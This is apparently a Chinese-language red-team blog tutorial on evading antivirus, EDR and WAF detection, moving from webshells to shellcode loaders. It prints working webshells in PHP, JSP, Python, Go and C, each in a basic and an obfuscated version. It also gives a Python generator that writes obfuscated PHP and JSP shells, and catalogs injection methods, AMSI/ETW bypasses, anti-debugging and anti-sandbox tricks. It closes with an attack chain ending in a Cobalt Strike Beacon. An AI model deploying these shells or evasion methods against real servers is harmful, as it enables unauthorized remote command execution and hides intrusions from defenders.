从webshell 到 shellcode 思考与打造适合自己的免杀技术栈

目录

[1️⃣ 引言:免杀技术在红队攻防中的重要性](#1️⃣ 引言:免杀技术在红队攻防中的重要性)

[2️⃣ WebShell 免杀技术](#2️⃣ WebShell 免杀技术)

[2.1 核心概念与作用](#2.1 核心概念与作用)

[2.2 免杀技术细化](#2.2 免杀技术细化)

[2.3 多语言实现与技巧](#2.3 多语言实现与技巧)

[3️⃣ ShellCode 免杀技术](#3️⃣ ShellCode 免杀技术)

[3.1 核心概念与作用](#3.1 核心概念与作用)

[3.2 免杀技术细化](#3.2 免杀技术细化)

[3.3 加载器技术](#3.3 加载器技术)

[3.4 反检测与绕过机制](#3.4 反检测与绕过机制)

[4️⃣ WebShell 与 ShellCode 技术对比](#4️⃣ WebShell 与 ShellCode 技术对比)

[4.1 技术含量与复杂度](#4.1 技术含量与复杂度)

[4.2 对抗目标与应用场景](#4.2 对抗目标与应用场景)

[4.3 红队实战中的重要性](#4.3 红队实战中的重要性)

[5️⃣ ShellCode 免杀对 WebShell 的技术覆盖](#5️⃣ ShellCode 免杀对 WebShell 的技术覆盖)

[6️⃣ 自动编码与加密工具开发思路](#6️⃣ 自动编码与加密工具开发思路)

[6.1 工具功能设计](#6.1 工具功能设计)

[6.2 实现示例](#6.2 实现示例)

[7️⃣ 红队实战中的融合应用](#7️⃣ 红队实战中的融合应用)

[8️⃣ 进阶方向与学习路径](#8️⃣ 进阶方向与学习路径)

[8.1 WebShell 进阶](#8.1 WebShell 进阶)

[8.2 ShellCode 进阶](#8.2 ShellCode 进阶)

[8.3 综合能力提升](#8.3 综合能力提升)

[9️⃣ 结语:成为红队武器研发专家](#9️⃣ 结语:成为红队武器研发专家)



1️⃣ 引言:免杀技术在红队攻防中的重要性

在现代红队攻防对抗中,杀毒软件(AV)、端点检测与响应(EDR)、Web 应用防火墙(WAF)等安全机制的持续升级使得传统恶意代码难以存活。免杀技术是红队的核心竞争力,涵盖:

  • WebShell 免杀:针对 Web 层检测(如 WAF、IDS)的隐匿,适合快速建立攻击立足点。
  • ShellCode 免杀:针对内存执行和系统级防护的绕过,适用于内网渗透与持久化控制。
  • 融合应用:从 Web 层初始访问到内网深度控制的全链路攻击。

2️⃣ WebShell 免杀技术

2.1 核心概念与作用

  • 定义:WebShell 是一种运行在 Web 服务器上的恶意脚本,用于执行命令、文件管理或权限提升。
  • 作用
    • 快速立足:通过 Web 漏洞(如文件上传、RCE)获取服务器初始权限。
    • 命令执行:运行系统命令(如 whoami、netstat)或管理文件。
    • 反弹 Shell:建立与 C2(命令与控制)服务器的连接,方便后续渗透。
    • 数据收集:窃取配置文件、数据库信息等敏感数据。
    • 跳板功能:为部署 ShellCode 或 RAT(远程访问工具)铺路。
  • 特点
    • 依赖 Web 漏洞部署(如文件包含、反序列化)。
    • 需绕过 WAF、IDS 和服务器日志审计。
    • 通常以脚本语言实现(如 PHP、ASP、JSP)。
  • 开发语言:PHP、JSP、ASP.NET、Python、Go、C(CGI)。

2.2 免杀技术细化

  • 代码混淆
    • 变量混淆 :动态生成变量名(如 $a = "ev"."al")。
    • 函数拆分:将危险函数(如 eval、system)拆分为字符串拼接。
    • 编码链:多层编码(如 base64 + gzip + str_rot13)。
  • 输入隐藏
    • 非标准输入:通过 POST、Cookie、Header(如 Referer、User-Agent)传递 Payload。
    • 隐写术:将 Payload 嵌入图片元数据或文件末尾。
    • 加密传输:使用 XOR、AES 加密 POST 数据。
  • 执行方式
    • 动态执行:使用 eval、exec、call_user_func 执行动态代码。
    • 反射调用:通过反射机制(如 Java 的 Class.forName)执行。
    • 无文件 WebShell:利用内存执行(如 PHP opcache、Java 字节码加载)。
  • 对抗 WAF/IDS
    • 参数随机化:动态生成参数名(如 cmd、exec)避免正则匹配。
    • 分段请求:将 Payload 分段传输,绕过单次请求检测。
    • 伪装流量:模拟正常 HTTP 请求(如伪装成图片加载)。
  • 日志规避
    • 重定向日志:修改服务器日志路径或禁用日志。
    • 无痕操作:避免直接写文件,使用内存操作。

2.3 多语言实现与技巧

  • PHP WebShell
    • 基础版

      复制代码
      <?php @eval($_POST['cmd']); ?>
    • 免杀版

      复制代码
      <?php
      $a = base64_decode($_COOKIE['data']);
      $b = "ev"."al";
      call_user_func($b, gzinflate($a));
      ?>
    • 技巧:使用 php://input、assert、preg_replace 实现无文件执行。

  • JSP WebShell
    • 基础版

      复制代码
      <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
    • 免杀版

      复制代码
      <% 
      String c = request.getHeader("X-Cmd");
      Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, c);
      %>
    • 技巧:使用 JSPX 格式或伪装为 .jpg 文件。

  • Python WebShell
    • 基础版

      复制代码
      from flask import Flask, request
      app = Flask(__name__)
      @app.route('/', methods=['POST'])
      def shell():
          return exec(request.form['cmd'])
    • 免杀版

      复制代码
      from flask import Flask, request
      import base64, zlib
      app = Flask(__name__)
      @app.route('/', methods=['POST'])
      def shell():
          cmd = zlib.decompress(base64.b64decode(request.form['data'])).decode()
          return exec(cmd)
    • 技巧:结合 Flask/Werkzeug 实现动态路由和内存执行。

  • Go WebShell
    • 基础版

      复制代码
      package main
      import (
          "net/http"
          "os/exec"
      )
      func handler(w http.ResponseWriter, r *http.Request) {
          cmd := r.FormValue("cmd")
          out, _ := exec.Command("/bin/sh", "-c", cmd).Output()
          w.Write(out)
      }
      func main() {
          http.HandleFunc("/", handler)
          http.ListenAndServe(":8080", nil)
      }
    • 免杀版:编译为 CGI,加密 Payload,使用 Cookie 传递命令。

  • C WebShell (CGI)
    • 基础版

      复制代码
      #include <stdio.h>
      #include <stdlib.h>
      int main() {
          printf("Content-Type: text/plain\n\n");
          char *cmd = getenv("QUERY_STRING");
          system(cmd);
          return 0;
      }
    • 免杀版:使用 XOR 加密命令,动态解密后执行。


3️⃣ ShellCode 免杀技术

3.1 核心概念与作用

  • 定义:ShellCode 是一段可直接在内存中执行的机器码,用于漏洞利用、后门植入或权限提升。
  • 作用
    • 内存执行:避免磁盘写入,降低被检测风险。
    • 权限提升:通过内核漏洞或 Token 窃取获取高权限。
    • 内网渗透:实现进程注入、横向移动、持久化控制(如 Cobalt Strike Beacon)。
    • 对抗高级防护:绕过 EDR、AV 和沙箱,执行复杂攻击逻辑。
  • 特点
    • 平台相关(x86/x64、Windows/Linux)。
    • 无依赖外部库,需自包含功能。
    • 需规避静态(特征码)和动态(行为)检测。
  • 开发语言:C/C++、汇编,辅助语言包括 Python、Go。

3.2 免杀技术细化

  • 加密与混淆
    • 异或加密:使用 XOR 运算加密 ShellCode,运行时动态解密。
    • 高级加密:AES、RC4 或非对称加密(如 RSA)保护 ShellCode.
    • 花指令:插入无意义指令(如 NOP、冗余跳转)干扰静态分析。
    • 代码混淆:打乱指令顺序,动态生成关键函数调用。
  • 动态加载
    • 动态 API 获取:解析 PE 文件导出表获取 Kernel32.dll/Ntdll.dll 函数地址(如 GetProcAddress)。
    • 直接系统调用:绕过 API Hook,使用 syscall 执行 Nt 函数(如 NtCreateThreadEx)。
    • 模块隐藏:通过重定位表或手动加载 DLL 隐藏模块。
  • 内存操作
    • 内存分配:使用 VirtualAlloc/VirtualProtect 分配 RX 或 RWX 内存。
    • 页面权限修改:动态调整内存页面权限以执行 ShellCode.
    • 进程镂空:清空目标进程代码段,注入 ShellCode 执行。
  • 对抗 EDR
    • ETW 绕过:禁用 Windows 事件跟踪(Event Tracing for Windows)。
    • AMSI 绕过:Patch AMSI 函数,禁用脚本扫描。
    • PPL 绕过:利用内核漏洞或签名驱动绕过 Protected Process Light 保护。

3.3 加载器技术

  • 基础加载器
    • C++ 内联汇编:嵌入汇编代码直接调用 ShellCode.
    • 函数指针:将 ShellCode 转换为函数指针执行。
  • 线程注入
    • 远程线程注入:CreateRemoteThread + WriteProcessMemory。
    • APC 注入:QueueUserAPC 注入异步过程调用。
    • 线程上下文劫持:修改线程寄存器(如 RIP/EIP)执行 ShellCode.
  • 高级加载器
    • TLS 回调:利用线程局部存储(TLS)回调函数执行。
    • VEH 异常处理:通过向量异常处理(VEH)触发 ShellCode.
    • SEH 异常处理:利用结构化异常处理(SEH)执行。
    • Fiber 加载:使用 Fiber 机制切换执行上下文。
  • 多语言加载器
    • Golang:通过 CGO 调用 ShellCode.
    • C#:使用 Marshal.GetDelegateForFunctionPointer 执行。
    • Python:通过 ctypes 加载 ShellCode.

3.4 反检测与绕过机制

  • 反调试技术
    • API 检测:IsDebuggerPresent、CheckRemoteDebuggerPresent。
    • PEB 检测:检查 BeingDebugged、NtGlobalFlag、ProcessHeap。
    • 未公开 API:NtQueryInformationProcess(ProcessDebugPort、ProcessDebugFlags)。
    • 异常机制:利用 SEH/VEH 检测调试器。
    • 时间检测:通过 GetTickCount、RDTSC 检测时间差。
  • 反沙箱/虚拟机
    • 硬件检测:检查 CPUID、MAC 地址、磁盘大小。
    • 环境检测:检测特定进程(如 vmware.exe)、注册表键、文件路径。
    • 行为伪装:模拟正常用户操作(如鼠标移动、键盘输入)。
  • 特征码规避
    • 动态生成:运行时生成 ShellCode,避免静态特征。
    • 分块执行:将 ShellCode 分割为多段,动态拼接执行。
    • Crc32 校验:检测代码段是否被修改,防止 Inline Hook。

4️⃣ WebShell 与 ShellCode 技术对比

4.1 技术含量与复杂度

  • WebShell 免杀
    • 技术深度:涉及 Web 开发(PHP、JSP、Python)、HTTP 协议、编码技巧。
    • 复杂度:主要集中在代码混淆和 WAF 绕过,门槛较低。
    • 学习曲线:平缓,初学者可快速上手。
  • ShellCode 免杀
    • 技术深度:涉及汇编、C/C++、Windows/Linux 内核、逆向工程、加密算法。
    • 复杂度:需理解操作系统底层机制(如 PE 结构、系统调用表、内存管理)。
    • 学习曲线:陡峭,需数月至数年积累。

4.2 对抗目标与应用场景

维度 WebShell 免杀 ShellCode 免杀
对抗目标 WAF、IDS、Web 审计、服务器日志 杀软(AV)、EDR、沙箱、系统防护机制
应用场景 Web 渗透、初始权限获取、数据收集 内网渗透、权限维持、横向移动、RAT 部署
执行环境 Web 服务器、应用层 内存执行、内核层
隐蔽性 中,易被 WAF 正则检测 高,内存执行难以追踪

4.3 红队实战中的重要性

  • WebShell 免杀
    • 重要性:攻击链起点,快速获取 Web 服务器权限。
    • 场景:外部渗透、漏洞利用(如文件上传、反序列化)、反弹 Shell。
    • 价值:快速建立立足点,适合初期攻击。
  • ShellCode 免杀
    • 重要性:核心技术,决定内网渗透的隐蔽性和持久性。
    • 场景:Cobalt Strike Beacon、自定义 RAT、内核提权。
    • 价值:对抗高防护环境(如 EDR、PPL),适合 APT 攻击。

5️⃣ ShellCode 免杀对 WebShell 的技术覆盖

ShellCode 免杀技术几乎完全覆盖 WebShell 免杀的核心思想:

  • 加密与混淆:ShellCode 的 XOR/AES/花指令可直接应用于 WebShell Payload。
  • 动态执行:ShellCode 的动态 API 调用思想可用于 WebShell 的反射执行。
  • 反检测:ShellCode 的反调试/反沙箱逻辑可用于 WebShell 的环境检测。
  • 加载器思想:ShellCode Loader 的模块化设计可用于 WebShell 的分段加载。

结论:熟练掌握 ShellCode 免杀后,编写 WebShell 免杀如同"降维打击",只需额外学习 Web 协议和脚本语言特性。


6️⃣ 自动编码与加密工具开发思路

6.1 工具功能设计

模块 功能描述
模板生成器 支持 PHP/JSP/Python/Go/C 的 WebShell 模板生成
加密器 支持 XOR/AES/RC4/base64 多层加密
混淆器 随机变量名、插入冗余代码、函数拆分
参数重写器 动态生成随机参数名,绕过 WAF 正则
控制端 支持 HTTP/Cookie 指令接收与解密执行

6.2 实现示例

以下是一个 Python 实现的 WebShell 生成器示例:

复制代码
import argparse
import base64
import zlib
import uuid

def generate_webshell(language, encrypt_type, key):
    template = ""
    if language == "php":
        template = """<?php
        $data = base64_decode($_POST['{param}']);
        $cmd = {decrypt_func}($data, '{key}');
        @eval($cmd);
        function {decrypt_func}($data, $key) {{
            return zlib_decompress(base64_decode($data));
        }}
        ?>"""
    elif language == "jsp":
        template = """<%@ page import="java.util.*,java.io.*"%>
        <%
        String data = request.getParameter("{param}");
        byte[] decoded = Base64.getDecoder().decode(data);
        String cmd = new String(decoded);
        Runtime.getRuntime().exec(cmd);
        %>"""
    
    param = str(uuid.uuid4())[:8]
    decrypt_func = str(uuid.uuid4())[:8]
    return template.format(param=param, decrypt_func=decrypt_func, key=key)

def main():
    parser = argparse.ArgumentParser(description="WebShell Generator")
    parser.add_argument("-t", "--type", choices=["php", "jsp"], required=True, help="WebShell language")
    parser.add_argument("-e", "--encrypt", choices=["none", "xor", "aes"], default="none", help="Encryption type")
    parser.add_argument("-k", "--key", default="mykey", help="Encryption key")
    parser.add_argument("-o", "--output", default="shell", help="Output file")
    args = parser.parse_args()
    
    shell_code = generate_webshell(args.type, args.encrypt, args.key)
    with open(f"{args.output}.{args.type}", "w") as f:
        f.write(shell_code)
    print(f"Generated {args.type} WebShell: {args.output}.{args.type}")

if __name__ == "__main__":
    main()

使用示例

复制代码
python webshellgen.py -t php -e aes -k mykey -o shell

7️⃣ 红队实战中的融合应用

  • 初期渗透:利用 WebShell 上传 ShellCode Loader,建立立足点。
  • 内网扩展:通过 ShellCode 实现进程注入、提权、横向移动。
  • 持久化控制:WebShell 提供 C2 通信接口,ShellCode 实现内存驻留。
  • 对抗检测:结合 ShellCode 的反调试和 WebShell 的日志规避,增强隐蔽性.

示例流程

  1. 上传 PHP WebShell,获取服务器权限。
  2. 通过 WebShell 释放加密 ShellCode,执行内存加载。
  3. ShellCode 建立 Cobalt Strike Beacon 会话,完成内网渗透.

8️⃣ 进阶方向与学习路径

8.1 WebShell 进阶

  • 无文件 WebShell:研究内存执行技术(如 PHP opcache、Java ClassLoader)。
  • C2 集成:将 WebShell 集成到 Cobalt Strike 或 Metasploit。
  • 跨平台支持:开发 Go/C 实现的跨平台 WebShell.
  • WAF 绕过:研究高级 WAF(如 Cloudflare、AWS WAF)的正则规则,开发动态混淆器。

8.2 ShellCode 进阶

  • 内核开发:学习 Windows/Linux 内核驱动开发,掌握 SSDT Hook、DKOM(直接内核对象操作)。
  • 高级注入:研究 Early Bird APC、AtomBombing 等新型注入技术。
  • 自动化工具:开发 ShellCode 生成器和 Loader 自动化框架。
  • 对抗研究:跟踪 EDR(如 CrowdStrike、Carbon Black)的检测机制,开发针对性绕过。

8.3 综合能力提升

  • 多语言编程:掌握 C/C++、Python、Go、Rust,适应不同场景。
  • C2 框架开发:开发自定义 C2 框架,集成 ShellCode 和 WebShell.
  • 漏洞利用:学习 CVE 漏洞(如 Print Spooler、Log4Shell)与免杀结合。
  • 自动化平台:开发红队自动化工具链(如免杀生成、Payload 部署)。

9️⃣ 结语:成为红队武器研发专家

  • 核心能力:熟练掌握 WebShell 免杀(混淆、WAF 绕过)+ ShellCode 免杀(加载器、反调试、加密)。
  • 最终目标:成为红队武器研发专家,打造隐蔽、高效的攻击链,应对最严苛的防御环境。
相关推荐
卑微的小鬼2 小时前
HTTP各个版本对比
网络·网络协议·http
无限大.2 小时前
《计算机“十万个为什么”》之 面向对象 vs 面向过程:编程世界的积木与流水线
网络·人工智能·python
邮科工业交换机定制3 小时前
区分邮科工业交换机与路由器
网络·智能路由器
国科安芯3 小时前
ASP3605I同步降压调节器的高频化设计与多相扩展技术优化方案
网络·单片机·嵌入式硬件·硬件架构
XR101yqm12213 小时前
川翔云电脑:引领开启算力无边界时代
服务器·网络·云计算
卓豪终端管理4 小时前
漏洞分析:90分钟安全革命
网络
iLoyalty6 小时前
防御保护3-4
网络
渡我白衣6 小时前
Linux网络编程:TCP初体验
linux·网络·tcp/ip
卑微的小鬼6 小时前
TCP如何实现可靠传输?实现细节?
网络·tcp/ip·php